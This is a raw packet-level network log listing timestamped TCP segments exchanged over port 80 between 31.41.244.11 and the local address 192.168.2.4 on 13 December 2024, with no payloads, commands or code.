Dec 13, 2024 01:51:21.969635010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.969743967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.969788074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.970576048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.970716000 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.970768929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.971806049 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.971942902 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.971998930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.972146988 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.972846031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.972970009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.973932981 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.973978996 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.974056005 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.975017071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.975056887 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.975131989 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.976094961 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.976134062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.976207972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.977176905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.977215052 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.977288008 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.977622986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.978259087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.978399992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.979353905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.979394913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.979470968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.980422020 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.980460882 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.980535030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.981487989 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.981568098 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.981643915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.982084036 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.982566118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.982685089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.983628035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.983665943 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.983740091 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.984735012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.984774113 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.984839916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.985440969 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.985807896 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.985934973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.986862898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.986901045 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.986973047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.987956047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.987993956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.988069057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.989012957 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.989052057 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.989115953 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.989902020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.990129948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.990329027 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.991187096 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.991228104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.991585016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.992268085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.992307901 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.992362976 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.993242025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.993330956 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.993446112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.994466066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.994503021 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.994564056 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.995506048 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.995543957 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.995640993 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.996596098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.996669054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.996680021 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.997678995 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.997689009 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.997769117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.999109030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.999152899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.999207973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.999809980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:21.999851942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:21.999933004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.000936031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.000977039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.001003981 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.001100063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.001976013 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.002131939 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.003051043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.003093004 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.003166914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.004106998 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.004146099 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.004236937 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.005208015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.005249023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.005310059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.005518913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.006203890 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.013370037 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.142031908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.142079115 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.142141104 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.142177105 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.142227888 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.142469883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.143146992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.143260002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.143481016 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.144172907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.144279957 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.144319057 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.144530058 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.145250082 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.145365000 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.145569086 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.146317005 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.146445036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.146483898 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.146641970 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.147406101 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.147517920 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.147908926 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.148473024 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.148600101 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.148713112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.148714066 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.149545908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.149601936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.149641037 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.149797916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.150590897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.150724888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.151091099 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.151675940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.151777983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.151854038 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.152000904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.152764082 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.152869940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.153156996 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.153842926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.153965950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.154073954 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.154074907 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.154912949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.155069113 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.155090094 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.155738115 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.155998945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.156102896 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.156259060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.156259060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.157047987 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.157170057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.157311916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.157311916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.158140898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.158243895 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.158246994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.158340931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.159210920 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.159343004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.159543991 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.160310984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.160494089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.160527945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.161389112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.161506891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.161544085 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.161750078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.162518978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.162724018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.162725925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.162817955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.163536072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.163695097 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.163712025 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.163786888 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.164637089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.164731026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.164757967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.164938927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.165744066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.165761948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.165822983 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.165822983 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.166779995 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.166892052 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.166927099 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.167144060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.167874098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.167984009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.168021917 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.168945074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.169064045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.169066906 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.170022964 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.170115948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.170134068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.170248985 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.171094894 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.171205997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.171286106 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.172179937 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.172297001 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.172333956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.173105001 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.173264027 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.173392057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.173429966 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.174346924 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.174401045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.174442053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.174487114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.175415039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.175540924 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.175638914 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.176485062 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.176605940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.176645041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.177568913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.177687883 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.177726030 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.177958012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.178654909 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.178785086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.178828001 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.178915977 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.179718018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.179824114 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.179862976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.180805922 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.180916071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.180929899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.181034088 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.181904078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.182010889 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.182257891 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.182956934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.183085918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.183094978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.184024096 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.184146881 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.184151888 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.184263945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.185116053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.185225010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.185257912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.186194897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.186306000 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.186355114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.186394930 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.187282085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.187356949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.187664986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.188357115 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.188525915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.188581944 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.189429998 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.189541101 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.189580917 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.189850092 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.190499067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.190630913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.190669060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.190742016 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.191600084 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.191726923 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.191764116 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.192676067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.192783117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.192819118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.192867041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.193759918 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.193856001 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.193892956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.194827080 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.194943905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.194981098 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.195108891 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.195903063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.196007967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.196043968 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.196976900 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.197091103 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.197097063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.197185993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.198030949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.198251009 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.334125042 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.334194899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.334604025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.334814072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.334908009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.335074902 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.335656881 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.335767984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.335877895 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.336714983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.336859941 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.336891890 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.337779045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.337908030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.337943077 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.338247061 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.338849068 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.338983059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.339096069 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.339952946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.340055943 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.340235949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.340341091 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.341017962 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.341145992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.341176033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.342108965 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.342226028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.342256069 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.342526913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.343163967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.343266010 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.343280077 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.343389988 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.344266891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.344378948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.344410896 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.344536066 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.346441031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.346477985 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.346513033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.346522093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.346534967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.346544981 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.346574068 CET	49787	80	192.168.2.4	31.41.244.11
